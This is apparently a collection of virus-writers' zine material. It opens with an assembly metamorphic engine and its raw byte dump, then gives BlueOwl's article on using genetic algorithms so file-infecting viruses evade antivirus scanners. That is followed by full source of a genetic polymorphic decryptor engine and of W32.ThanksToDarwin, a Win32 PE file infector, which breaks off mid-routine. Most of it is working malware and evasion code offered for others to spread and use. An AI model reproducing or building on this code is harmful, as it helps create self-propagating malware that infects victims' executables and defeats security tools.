1 jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf branch_1000xxxx:cmp al, 01000000b jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m) shl al, 3 jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8 jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32 branch_101xxxxx:shl al, 1 jc branch_1011xxxx branch_1010xxxx:and al, 11100000b cmp al, 00100000b jb op_eax ; -> test eax, imm cmp al, 10000000b jz do_5byte ; -> mov mem32, eax movsb ret ; -> movs/stos/lods/scas branch_1011xxxx:shl al, 1 jnc branch_1100001x.2byte ; -> mov reg, imm8 jmp op_eax.pr32 ; -> mov reg, imm32 do_5byte: movsd movsb ret branch_11xxxxxx:shl al, 1 jc branch_111xxxxx branch_110xxxxx:shl al, 1 jc branch_1101xxxx branch_1100xxxx:cmp al, 11010000b jz branch_1100001x.2byte ; -> int imm8 shl al, 1 jc branch_1100001x.done ; -> leave/int 3 branch_11000xxx:shl al, 1 jc op_rm_w ; -> mov r/m, imm branch_110000xx:shl al, 1 jc branch_1100001x inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1 jmp op_rm branch_1100001x:shl al, 1 jc .done .3byte: movsb .2byte: movsb ; -> ret imm16 .done: movsb ret ; -> ret branch_1101xxxx:shl al, 2 jc branch_1100001x.done ; -> xlatb branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1 branch_111xxxxx:shl al, 1 jc branch_1111xxxx branch_1110xxxx:shl al, 1 jnc branch_11101010 ; -> loop label branch_11101xxx:cmp al, 00100000b jz branch_111010x0.done ; -> call label branch_111010x0:shl al, 2 jc branch_11101010 .done: movsd ; -> jmp label32 movsb ret branch_11101010:movsb movsb ret ; -> jmp label8 branch_1111xxxx:shl al, 1 jc branch_11111xxx branch_11110xxx:shl al, 2 jnc branch_11111xxx.done ; -> cmc branch_11111x1x:mov al, [esi+1] ; al = modr/m and al, 00111000b jnz op_rm ; -> not/mul/div/idiv jmp op_rm_w ; -> test branch_11111xxx:shl al, 1 jc .done ; -> clc/stc/cli shr al, 1 jc op_rm ; -> inc/dec/call/jmp/push .done: movsb ret ; -> cld/std ; ----------------------------------------------------------------------- op_rm_w: mov al, [esi] shr al, 1 jnc op_rmimm8 op_rmimm32: add ecx, ebx ; imm length will be 4 or 2 dec ecx op_rmimm8: inc ecx ; imm length = 1 byte op_rm: movsb lodsb stosb cmp al, 11000000b ; op reg, reg jae .done mov ah, al and al, 111b shr ah, 6 jz .regaddr cmp ah, 00000001b jz .ddone add ecx, 3 ; op reg, [reg+dword] .ddone: inc ecx ; op reg, [reg+byte] .cmpsib: cmp al, 00000100b jnz .done xor ebx, ebx mov eax, ebx lodsb ; 00000000 iiregreg shl eax, 2 ; 000000ii regreg00 xchg bl, ah ; 00000000 regreg00 shl eax, 3 ; 00000reg reg00000 shr al, 5 ; 00000reg 00000reg cmp ah, 4 jz .randindex cmp al, 4 jz .nosib or bl, bl ; index = 1? jnz .nosib rcr edx, 1 jnc .nosib ; randomly abort switch xchg al, ah jmp .nosib .randindex: mov bl, dl ; index is random and bl, 00000011b .nosib: shl al, 5 ; 00000reg reg00000 shr eax, 3 ; 00000000 regreg00 mov ah, bl ; 000000ii regreg00 shr eax, 2 ; 00000000 iiregreg stosb .done: rep movsb ret .regaddr: cmp al, 00000101b ; op reg, [dword] jnz .cmpsib movsd jmp .done ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; in: esi(ecx) = start of code to morph ; edi(ecx) = start of buffer to put morphed code in ; ecx = size of code to morph (and buffer) ; out: esi = esi + ecx ; edi = edi + ecx ; other registers are destroyed (except esp) BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91 db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231 db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235 db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10 db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164 db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6 db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114 db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1 db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170 db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195 db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131 db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208 db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208 db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27 db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3 db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249 db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224 db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2 db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208 db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164 db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128 db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216 db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116 db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235 db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232 db 2,170,243,164,195,60,5,117,191,165,235,246 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄarticles
Implementing genetic algorithms in virusses BlueOwl Implementing genetic algorithms in virusses by BlueOwl @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Introduction ************ I have personally always been fascinated by evolution and am a strong believer that it is the truth about how organisms evolve. I have also spend many thoughts and codes and readings trying to figure out if it could also be implemented in computer virusses, of course something completely different. Normally computer virusses either don't change them selves (static), they encrypt themselves with one or multiple decryptors or they completely change their body (hard to do). With the second and the third way virusses try to completely change their layout / code use / register use etc.This theory will try to prove that another way could be better. !Note! In this theory I mainly describe how a fileinfecting virus could use genetics. This can however be applied to any spreading program including worms, as long as you can be creative. Darwinian evolution - theory **************************** Ok, so in short. What is Darwinian evolution? Let assume we have one species, let us say dogs. And lets assume that they are put in the jungle without humans around. You probably know there are lots of different dogs. Small, thin, big with long/small tales large/small beaks etc. etc. So all these different ones are dumped into the jungle. Some would die because they could not find something to eat. Some because they were caught and eaten by lions. Some would fall and drown in rivers. Etc. But as you could imagine: From all those tens of thousands of dogs a few would still probably survive, because they were best adapted to the jungle. These remaining dogs would then mate and produce offspring. Some of these new dogs would be better adjusted to the environment, some worse. So some of this new generation would die but a lot of them would not, because they resembled their dog parents which *could* survive. With Darwinian evolution it is all about this. The strongest survive, and the offspring of these strongest will survive event better or worse. Ultimately creating the "perfect" species. So in short *********** Okay, so reading from the text above there are x core factors: - Each individual has a certain DNA which depends what it is, small thin, with long hair/short hair etc. - The environment kills individuals with certain characteristics, for example some dogs have long legs to run fast with so they can outrun lions, the ones with short legs are killed and eaten. - Dogs which *do* survive because of their positive characteristics will produce offspring which resembles them, thus they have a lot of the same characteristics but with a small number of changes. These changes will depend whether this individual will do better or worse than its parents. Binary organisms **************** This theory said, lets talk about modern computer virusses and evolution theory. What's the use of genetics in computer virusses? In the virus world, of course, there are no "natural" enemies. No lions, rivers, etc. etc. There is only one enemy: antivirusses. When an antivirus finds a virus, it will be removed. Killed. To detect virusses antivirusses have 2 ways: virus specific and virus unspecific (heuristic). The first method means a virus on the loose is 'caught'. Someone who is infected by it and sends it over to antivirus offices for analysing. It will get fully or partially analysed by antivirus personnel and a detection routine for it is generated. This is sent to all people owning the antivirus and thus they become 'immune' to the virus. The second way for detecting virusses in general is for the antivirus to check for virus-like signs and suspicious things. What kind of things are suspicious and what things are not have been decided by the software authors. Some virusses will not get detected though, because they don't match the 'description'. The programmer cannot add an unlimited number of 'recognisers' because the more he adds the higher the chance will be a non-virus will fit the description. Binary and biologic: the connection *********************************** First let us talk about unspecific detection. With this detection virusses are detected on what they do. The antivirus can detect them on the changes they make to files they infect. But as I said before: Some virusses *do not* get detected. This is of course because each virus can have its own way of doing it. If we would compare this with a dog with long or short legs, we get a remarkably good comparison. If a dog has short legs he dies, and with long legs he survives. If a virus has one way of infecting it gets detected, if it uses another it does not. So what way is best for the virus to use? That's unknown. Just like a dog with short or long legs does not *know* if it will survive, a virus won't either. For the dog species in total it is not a problem. Some dogs will die but new dogs will take their places. For a virus species it *is* a problem. Simply because there are no different kinds of one virus. Even if the virus is polymorphic (self changing), it will still be a problem because a polymorphic virus survivor has no way of 'knowing' what combination worked. So it would be like a long-legged parent getting both long-legged and short-legged offspring. Here comes the idea of genetics and DNA for virusses to mind. What if the virus could 'remember' what kind of infection it did and pass it on with some slight modifications to its children. If it did that it could truly evolute like the dogs would. The same goes for specific detection. Let us say the antivirus researcher analyses the virus and finds a kind of infection. It is added to the virus database and all virusses using that kind will be detected and removed. Virusses using another one because of other DNA won't be removed and will take the place of the previous virus sample. That way virus evolution is complete: as long as not *ALL* virus samples have been added to the detection database, some will escape detection, live on and breed. Genetic algorithms ****************** Genetic algorithms can be considered reasonably simple with a few things maybe harder to understand (and code). The structure of the, in my opinion, best genetic engine would be (explained later): For each file to infect: 1) Save virus DNA 2) Mutate virus DNA 3) Infect file 4) Restore virus DNA Firstly let us talk about the infection of the file. In this routine every possible genetic step (*) is made in the way of: > if (stepxgene==0){ do first way } else { do second way } To make the process more efficient it is the easiest to give all steps a fixed number of possibilities, Fe. all four possibilities. This will help in determining the way you are going to -store- the DNA. If you are thinking about multiple DNA steps per byte I would encourage you to use a number in the range of 2^... so you can use the maximum number of bits available. The save/mutate/restore may be a little bit harder to understand why it is done. The ultimate reason is the fact that this way the file will be infect according to DNA of the virus's OFFSPRING. That way the offspring 'knows' *exactly* what it consists of. If the virus would only give its copy a mutated DNA under infection evolution would stay behind a little. Fe. A virus has DNA A and infects a file in way A but gives its copy DNA B. Also a problem is the fact that all files infected by one virus will be infected in exactly the same way. And you don't see all the puppies of a dog look the same. Selecting appropriate genes *************************** What to make genetic and what not is another topic to think about and it is debatable. The real question is whether or not something is useful to be genetic. Fe. human hair colour is genetic, but fingerprints are even with one-egg twins different. Finger prints were in through the evolution of man clearly of no importance. You can add anything which you like to make genetic, but a problem comes up when you have something like: if(gene==0){ ... if (anothergene==0){ ... } else { ... } ... } else { ... if (yetanothergene==0){ ... } else { ... } ... } Of course it is possible, but when you look at it more closely you will notice that the importance of a gene declines, f.e.: if (...){ if (...){ if (...){ ... } ..}..} If the first "if" gene will mutate all the inner genes won't get executed anymore, and a much bigger adaptation is made than when an inner gene is changed. So to be 'fair' you would have to make the chance of mutation smaller on more important genes. It is a problem which you can live with but I would recommend trying to avoid it and keeping it in this format: if (...) { ... } ... if (...) { ... } ... if (...) { ... } ... ... Furthermore, do not get carried away when creating genes. I mean do not create a self destruct gene. ;) And make sure all options are compatible! The best way to test for this is to put all genes first to zero, than to one etc. to the end number of different options. You can't test all combination individually anyway. Mutations ********* Mutations are the essence of evolution. Without it, of course, everything would stay the same. So the engine should make a change sometimes. However this is another thing to think about: How often should something be changed? If too much is changed virusses could be completely different to soon and the effect of evolution lost. But if it changed too slow it could be not variable enough to escape detection and come up with new ways. Anyway, it is debatable. Furthermore, the number of possible mutations shouldn't also be static. So to stick to nature, every gene should independently have a certain chance of changing. My algorithm is (ASM): call rand ; eax = random xchg eax, edx ; (each bit has a chance of 1 in 2 to be 1) call rand ; eax = random and edx, eax ; chance 1 in 4 call rand and edx, eax ; chance 1 in 8 call rand and edx, eax ; chance 1 in 16 call rand and edx, eax ; chance 1 in 32 So in this example, at the end, every bit in edx has a chance of one in thirty-two to be 1; while all others are zero. Thus because a dword consists out of 32 bits, the average should be one bit 1 each time at the end of this proc. However 0, 2, 3, 4 ... 32 bits 1 are also possibilities, but the chance 32 bits are 1 is a number of one in 48 digits. So we are save to assume too big mutations will almost never happen. So after getting this value we simply xor it with the dna (given the fact it only consists out of one dword). Giving a small number or no mutations. xor [dna], edx Code example ************ To give and example of how this *could* be implement I have coded this simple polymorphic engine. Actually it is not *that* simple and may be hard to understand, since I optimized most things about it. It has 2 parts which contain genetics. A DNA variable (called DNA), and a register container. These are firstly saved at the start of the engine and then the originals are altered. Then it generates a decryptor according to these. The decryptor is then generated in the following way: All parts of the decryptor have four possible options (see the part under <call load_table>). So from the DNA each time 2 bits (can be 0,1,2,3) are read and used to pick the correct genetically specified option. If you check this out maybe you will learn some new techniques, but don't try to understand it too much :) (blame my coding style ;)). Final Word ********** First of all, I hope you have enjoyed reading my article. As i am very interested in the subject myself, i liked to write something about this. I have already read other people thinking and writing about this subject, and i like it. I also hope this will enspire you to do new things with your codings, even completely different. This is not *necessarily* the best idea. BlueOwl november 2004 ; ¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤ ; BGPE - BlueOwls Genetic Poly Engine (Simple version) ; Al though this is just a "simple" version, feel free to spread and ; use it in whatever you like, as long as you don't hold me responsible ; AND don't claim it is yours. :) What i was thinking about adding was ; placing all the code blocks in random order, maybe something for a ; next version ;). ; Good luck with it. ; BlueOwl ; BTW. Sorry for not commenting this much, but personally ; in: eax = rnd ; ecx = size of virus in bytes rounded to a dword ((virus_size+3)/4)*4 ; esi = start of virus ; edi = start of outputbuffer ; ; out: eax = size of generated ptr_low equ 0 shl 3 + 6 ptr_high equ 1 shl 3 + 6 ctr_low equ 2 shl 3 + 6 ctr_high equ 3 shl 3 + 6 tmp_low equ 4 shl 3 + 6 ptrtmp equ 5 shl 3 + 6 ptrptr equ 6 shl 3 + 6 ctrctr equ 7 shl 3 + 6 cjmp equ 8 shl 3 + 6 mlbl equ 9 shl 3 + 6 edword equ 10 shl 3 + 6 ebyte equ 11 shl 3 + 6 size_dword equ 12 shl 3 + 6 tmptmp equ 13 shl 3 + 6 ecd equ 14 shl 3 + 6 estart equ ebp-4*1 rna equ ebp-4*2 vsized equ ebp-4*3 lbler equ ebp-4*4 _edword equ ebp+7*4 _ebyte equ ebp-4*5 BGPE: pushad call inner_delta inner_delta: pop ebp push dword [ebp+bgpe_dna-inner_delta] ; save old dna push dword [ebp+lregsstart-inner_delta] ; save old registeruse push dword [ebp+lregsstart+4-inner_delta] ; " " push ebp push ecx lea ecx, [ebp+lregsstart-inner_delta] lea ebx, [ebp+bgpe_dna-inner_delta] mov ebp, esp add ebp, 4 call bgpe_rand xchg edx, eax call bgpe_rand and edx, eax call bgpe_rand and edx, eax call bgpe_rand and edx, eax ; chance 1 in 16 for each bit xor [ebx], edx push 7 pop edx xchg ecx, edx mutate_regs: call bgpe_rand test eax, 0111b ; chance of 3 bits being 0 in 8 jnz no_mut mov al, byte [edx] ; swap around register mov byte [edx+1], al no_mut: inc edx loop mutate_regs pop ecx mov al, 0e8h stosb mov eax, ecx stosd push edi shr ecx, 2 db 068h bgpe_dna dd 0 ; 01010101010101010101010101010101b push ecx push eax rep movsd call bgpe_rand push eax call load_table getptr: gp1 db gp2-gp1,ptr_low,58h,ptr_low,50h ; pop reg / push reg gp2 db gp3-gp2,08bh,ptr_high,04h,024h ; mov reg, [esp] gp3 db gp4-gp3,0ffh,034h,024h,ptr_low,058h ; push [esp] / pop reg gp4 db gp5-gp4,00bh,ptr_high,04h,024h,023h,ptr_high,04h,024h ; or reg, [esp] / and reg, [esp] gp5: initcnt: ic1 db ic2-ic1,ctr_low,0b8h,size_dword ; mov reg, value ic2 db ic3-ic2,068h,size_dword,ctr_low,058h ; push value / pop reg ic3 db ic4-ic3,083h,ctr_low,0e0h,000h,081h,ctr_low,0c0h,size_dword ; and reg, 0 / add reg, value ic4 db ic5-ic4,08dh,ctr_high,005h,size_dword ; lea reg, [value] ic5: getdword: gd1 db gd2-gd1,mlbl,087h,ptrtmp,0 ; xchg reg, [reg] gd2 db gd3-gd2,mlbl,0ffh,ptr_low,030h,tmp_low,058h ; push [reg] / pop reg gd3 db gd4-gd3,mlbl,08bh,ptrtmp,0 ; mov reg, [reg] gd4 db gd5-gd4,mlbl,00bh,ptrtmp,000h,023h,ptrtmp,000h ; or reg, [reg] / and reg, [reg] gd5: decryptdword: cy1 db cy2-cy1,08dh,tmptmp,080h,edword,0c1h,tmp_low,0c0h,ebyte,ecd ; lea reg, [reg+value] / rol reg, value push ecx movzx ecx, byte [_ebyte] ror eax, cl pop ecx sub eax, [_edword] ret cy2 db cy3-cy2,0c1h,tmp_low,0c8h,ebyte,0f7h,tmp_low,0d8h,ecd ; ror reg, value / neg reg neg eax push ecx movzx ecx, byte [_ebyte] rol eax, cl pop ecx ret cy3 db cy4-cy3,0fh,tmp_low,0c8h,081h,tmp_low,0f0h,edword,ecd ; bswap reg / xor reg, value xor eax, [_edword] bswap eax ret cy4 db cy5-cy4,081h,tmp_low,0e8h,edword,0f7h,tmp_low,0d0h,ecd ; sub reg, value / not reg not eax add eax, [_edword] ret cy5: putdword: pd1 db pd2-pd1,087h,ptrtmp,0 ; xchg [reg], reg pd2 db pd3-pd2,tmp_low,050h,08fh,ptr_low,000h ; push reg / pop [reg] pd3 db pd4-pd3,089h,ptrtmp,0 ; mov [reg], reg pd4 db pd5-pd4,021h,ptrtmp,000h,009h,ptrtmp,000h ; and [reg], reg / or [reg], reg pd5: addptr: ap1 db ap2-ap1,08dh,ptrptr,040h,004h ; lea reg, [reg+4] ap2 db ap3-ap2,083h,ptr_low,0c0h,004h ; add reg, 4 ap3 db ap4-ap3,083h,ptr_low,0e8h,0fch ; sub reg, -4 ap4 db ap5-ap4,ptr_low,040h,ptr_low,040h,ptr_low,040h,ptr_low,040h ; 4* inc reg ap5: decctr: dc1 db dc2-dc1,ctr_low,048h ; dec reg dc2 db dc3-dc2,083h,ctr_low,0e8h,001h ; sub reg, 1 dc3 db dc4-dc3,083h,ctr_low,0c0h,0ffh ; add reg, -1 dc4 db dc5-dc4,08dh,ctrctr,040h,0ffh ; lea reg, [reg-1] dc5: conjmp: cj1 db cj2-cj1,009h,ctrctr,0c0h,074h,002h,0ebh,cjmp ; or reg, reg / jz $+4 / jmp label cj2 db cj3-cj2,ctr_low,040h,ctr_low,048h,075h,cjmp ; inc reg / dec reg / jnz label cj3 db cj4-cj3,083h,ctr_low,0f8h,001h,073h,cjmp ; cmp reg, 1 / jnb label cj4 db cj5-cj4,ctr_low,048h,078h,003h,ctr_low,040h,079h,cjmp ; dec reg / js $+3 / inc reg / jns label cj5: doret: rt1 db rt2-rt1,0c3h ; ret rt2 db rt3-rt2,0c2h,000h,000h ; ret 0 rt3 db rt4-rt3,058h,0ffh,0e0h ; pop eax / jmp eax rt4 db rt5-rt4,0ffh,034h,024h,0c2h,004h,00h ; push [esp] / ret 4 rt5: db 0 load_table: pop edx call load_regs lregsstart db 00h,01h,02h,03h,05h,06h,07h load_regs: pop ebx do_decryptor: cmp byte [edx], 0 jz decryptor_done mov esi, edx push 4 pop ecx _reloadnext: movzx eax, byte [edx] add edx, eax loop _reloadnext mov ecx, [rna] shr dword [rna], 2 ; move up rna and ecx, 011b ; put ecx in range 0-3 or ecx, ecx jz this_found _loadthis: movzx eax, byte [esi] add esi, eax loop _loadthis this_found: movzx ecx, byte [esi] dec ecx inc esi process_table: lodsb push eax and eax, 07h cmp eax, 06 pop eax jz special_command or al, ah stosb sub ah, ah resume_process: loop process_table jmp do_decryptor special_command:movzx eax, al ; process special command do_command: shr eax, 3 ; (make label/add register/etc.) push edx call getsptrs sptrs: db do_ptr_low-sptrs,do_ptr_high-sptrs,do_ctr_low-sptrs,do_ctr_high-sptrs db do_tmp_low-sptrs,do_ptrtmp-sptrs,do_ptrptr-sptrs,do_ctrctr-sptrs db do_docjmp-sptrs,do_mlbl-sptrs,do_edword-sptrs,do_ebyte-sptrs db do_size_dword-sptrs,do_tmptmp-sptrs,do_ecd-sptrs getsptrs: pop edx mov al, byte [edx+eax] ; select the appropiate handler add edx, eax sub eax, eax call edx pop edx jmp resume_process ; from here on different handlers do_ecd: push edx edi xchg esi, edx mov ecx, [vsized] mov esi, [estart] mov edi, esi _encrypt: lodsd call edx stosd loop _encrypt push 1 pop ecx pop edi edx ret do_ptr_high: mov ah, [ebx+0] ; fix registers shl ah, 3 ; ... ret do_ctr_high: mov ah, [ebx+1] shl ah, 3 ret do_tmptmp: mov ah, [ebx+2] shl ah, 3 do_tmp_low: or ah, [ebx+2] ret do_ptrtmp: mov ah, [ebx+2] shl ah, 3 jmp do_ptr_low do_ptrptr: mov ah, [ebx+0] shl ah, 3 do_ptr_low: or ah, [ebx+0] ret do_ctrctr: call do_ctr_high do_ctr_low: or ah, [ebx+1] ret do_docjmp: mov eax, [lbler] ; calculate jump difference sub eax, edi dec eax stosb ret do_mlbl: mov [lbler], edi ret do_edword: mov eax, [_edword] jmp store_zero do_size_dword: mov eax, [vsized] store_zero: stosd sub eax, eax ret do_ebyte: mov al, [_ebyte] stosb ret decryptor_done: mov esp, ebp pop ebp pop dword [ebp+lregsstart+4-inner_delta] ; restore old stuff pop dword [ebp+lregsstart-inner_delta] ; pop dword [ebp+bgpe_dna-inner_delta] ; mov [esp+4*7], edi popad sub eax, edi ret bgpe_rand: mov eax, [ebp+7*4] rol eax, 7 neg ax add eax, 0B78F23A5h ; just a number xor [ebp+7*4], eax ; save for later ret ; ¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤=÷=¤ ; Copyright BlueOwl 2004 ; Have a nice time. EOF.sources
W32.ThanksToDarwin BlueOwl ; W32.ThanksToDarwin by BlueOwl ; --------------------------------------------------------------------- ; ; W32.ThanksToDarwin is my first genetic polymorphic virus. Unlike normal poly- ; morphic virusses which generate their decryptors at random, this virus ; will use its genes to do so and only a few adaptations are made each ; time to genes. This way, its offspring will look like it and thus ; inherit the genes that made it survive. All thanks to Darwinian - ; evolution :). ; ; Disclaimer: I do mention how fun it is to assemble and try this out ; a few times in this article. I am not responsible for any ; loss though. I did my best. ; ; Results with (not yet updated) antivirus scanners in my tests: ; 1st generation detection: 100% ; 2nd generation detection: 70% ; 3rd generation detection: 5% ; 4rd generation detection: 4% ; (no difference after this) ; ; Because of the gene-giving even if only a small fraction survived their ; offspring would infect good because they 'know what worked'. ; ; Details: - Kan produce 268435456 different decryptors and 65536 different ; encryptions. In all, 17592186044416, different virusses. Leave ; it up to evolution to find that perfect one! ; - Infection mark = milliseconds and seconds of the creation date ; set to zero ; - Does not restore the original files dates on purpose: file - ; checkers that see the file has been changed will sooner alert ; when the program date did not change, as this is typical virus ; behaviour ; - Will only infect the current directory so if you like you can ; try the virus without having to fear getting your whole computer ; infected ; - On some points, the virus could do a lot better, I just didn't ; feel like making it that good. I hope you are inspired to make ; a genetic virus which is lots better though. ; ; Note: if you choose to assemble it please note that the 1st generation ; will crash when it tries to return to the original host (because ; there is none ;)). ; ; Thanks to: Docter Ludwig for his book "The big black book of ; computer virusses", with some data about genetic ; virusses in the DOS days. ; ; Assemble with FASM (http://www.flatassembler.net) ; ; ; 17-3-2004 Note: After this version I made lots of other (unpublished, ; yet?) virusses but I decided to publish this anyways as people ; might learn something from it anyways. The api finding and ; everything is very old school, but just remember it was ; one of my first stupid pe-virusses. I also gave this virus ; a better RNG. ; ; --------------------------------------------------------------------- ; I'm sorry for not commenting it much include '%fasminc%/win32ax.inc' ; Simple equates gzero equ db 0ACh,08h,0C0h,75h,0FBh virus_size equ (end_of_virus-start_of_virus) genes_count equ (mgenes_end-mutate) ; Apis FindFirstFile equ [ebp+(_FindFirstFile-delta)] FindNextFile equ [ebp+(_FindNextFile-delta)] FindClose equ [ebp+(_FindClose-delta)] CreateFile equ [ebp+(_CreateFileA-delta)] ReadFile equ [ebp+(_ReadFile-delta)] WriteFile equ [ebp+(_WriteFile-delta)] CloseHandle equ [ebp+(_CloseHandle-delta)] GlobalAlloc equ [ebp+(_GlobalAlloc-delta)] GlobalLock equ [ebp+(_GlobalLock-delta)] GlobalUnlock equ [ebp+(_GlobalUnlock-delta)] GlobalFree equ [ebp+(_GlobalFree-delta)] SetFileAttributes equ [ebp+(_SetFileAttributes-delta)] FileTimeToLocalFileTime equ [ebp+(_FileTimeToLocalFileTime-delta)] FileTimeToSystemTime equ [ebp+(_FileTimeToSystemTime-delta)] SystemTimeToFileTime equ [ebp+(_SystemTimeToFileTime-delta)] LocalFileTimeToFileTime equ [ebp+(_LocalFileTimeToFileTime-delta)] SetFileTime equ [ebp+(_SetFileTime-delta)] GetProcAddress equ [ebp+(getprocaddr-delta)] start_of_virus: virus_start: mov edx, 12345678h ; this will be filled with the- call delta ; decryptor size delta: pop ebp mov eax, ebp sub eax, edx sub eax, (delta-virus_start) sub eax, 12345678h NEIP: NewEIP equ (NEIP-4) add eax, 12345678h OEIP: OldEIP equ (OEIP-4) mov [ebp+(return_addr-delta)], eax mov esi, [esp] sub si, si mov ecx, 20h loop_mz: cmp word [esi], 'MZ' je got_k32 sub esi, 1000h loopne loop_mz jmp goto_host got_k32: mov edx,esi mov [ebp+(k32-delta)], edx mov ebx, [esi+03Ch] add ebx, esi cmp word [ebx], 'PE' je kernel_ok jmp goto_host kernel_ok: mov ebx, [ebx+078h] add ebx, esi mov eax, [ebx+020h] add esi, eax xor ecx, ecx searchexport: lodsd add eax, edx push esi mov esi, eax lodsd cmp eax, 'GetP' jne cagain lodsd cmp eax, 'rocA' jne cagain pop esi jmp got_procaddr cagain: pop esi inc ecx cmp ecx,[ebx+018h] jle searchexport jmp goto_host got_procaddr: mov esi,[ebx+01Ch] add esi,edx inc ecx addj: lodsd add eax,edx loop addj done: mov [ebp+(getprocaddr-delta)],eax lea esi, [ebp+(k32_apis-delta)] get_apis: push esi push [ebp+(k32-delta)] call GetProcAddress mov ebx, eax gzero mov edi, esi mov eax, ebx stosd mov esi, edi mov al, [esi] or al, al jnz get_apis pushad lea edi, [ebp+(cpy-delta)] lea esi, [ebp+(mutate-delta)] mov ecx, (mutateend-mutate) rep movsb popad push 314d push GMEM_MOVEABLE call GlobalAlloc or eax, eax jz goto_host mov [ebp+(findmem_handle-delta)], eax push eax call GlobalLock mov [ebp+(findmem-delta)], eax push eax lea eax, [ebp+(search_mask-delta)] push eax call FindFirstFile mov [ebp+(find_handle-delta)], eax inc eax jz search_end infect_file: mov eax, [ebp+(findmem-delta)] lea eax, [eax+4] lea ebx, [ebp+(filetime-delta)] push ebx push eax call FileTimeToLocalFileTime lea eax, [ebp+(systemtime-delta)] push eax lea ebx, [ebp+(filetime-delta)] push ebx call FileTimeToSystemTime mov ax, [ebp+(smsecond-delta)] cmp ax, 0 jne host_ok mov ax, [ebp+(ssecond-delta)] cmp ax, 0 je already_infected host_ok: mov [ebp+(smsecond-delta)], 0 mov [ebp+(ssecond-delta)], 0 call infection already_infected: push [ebp+(findmem-delta)] push [ebp+(find_handle-delta)] call FindNextFile or eax, eax jnz infect_file push [ebp+(find_handle-delta)] call FindClose search_end: push [ebp+(findmem_handle-delta)] call GlobalUnlock push [ebp+(findmem_handle-delta)] call GlobalFree or ebp, ebp jz skip_jump goto_host: push [ebp+(return_addr-delta)] skip_jump: ret ; ----------------------------------------------------------------------------------- infection: push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ mov ebx, [ebp+(findmem-delta)] add ebx, 44 push ebx call CreateFile mov [ebp+(file_handle-delta)], eax mov edx, eax inc eax jz return_infect ; can't open mov eax, [ebp+(findmem-delta)] mov eax, [eax+32] add eax, (virus_size+600) ; make some room (+600 to be sure) push eax push GMEM_MOVEABLE call GlobalAlloc or eax, eax jz close_file ; can't allocate mov [ebp+(filemem_handle-delta)], eax push eax call GlobalLock mov [ebp+(filemem-delta)], eax push 0 lea ebx, [ebp+(NBR-delta)] push ebx mov eax, [ebp+(findmem-delta)] push dword [eax+32] push [ebp+(filemem-delta)] push [ebp+(file_handle-delta)] call ReadFile or eax, eax jz close_mem push [ebp+(file_handle-delta)] call CloseHandle mov eax, [ebp+(filemem-delta)] mov esi, [eax+3Ch] add esi, eax ; get pointer to pe header cmp dword [esi], "PE" jne close_mem mov eax, [esi+3Ch] mov [ebp+(file_align-delta)], eax mov edi, esi movzx eax, word [edi+06h] dec eax imul eax,eax,28h ; * 28 add esi,eax ; add esi,78h ; dir table mov edx,[edi+74h] ; dir entries shl edx,3 ; * 8 add esi,edx ; last section mov eax,[edi+28h] ; get entrypoint mov dword [ebp+(OldEIP-delta)],eax ; save mov edx,[esi+10h] ; edx = size of raw data mov ebx,edx ; add edx,[esi+14h] ; add pointer to raw data push edx mov eax,ebx add eax,[esi+0Ch] ; eax = new eip mov [edi+28h],eax ; change it mov dword [ebp+(NewEIP-delta)],eax mov [ebp+(sheader-delta)], esi mov [ebp+(dheader-delta)], edi pop edx or dword [esi+24h],0A0000020h ; put writeable, readable, executable 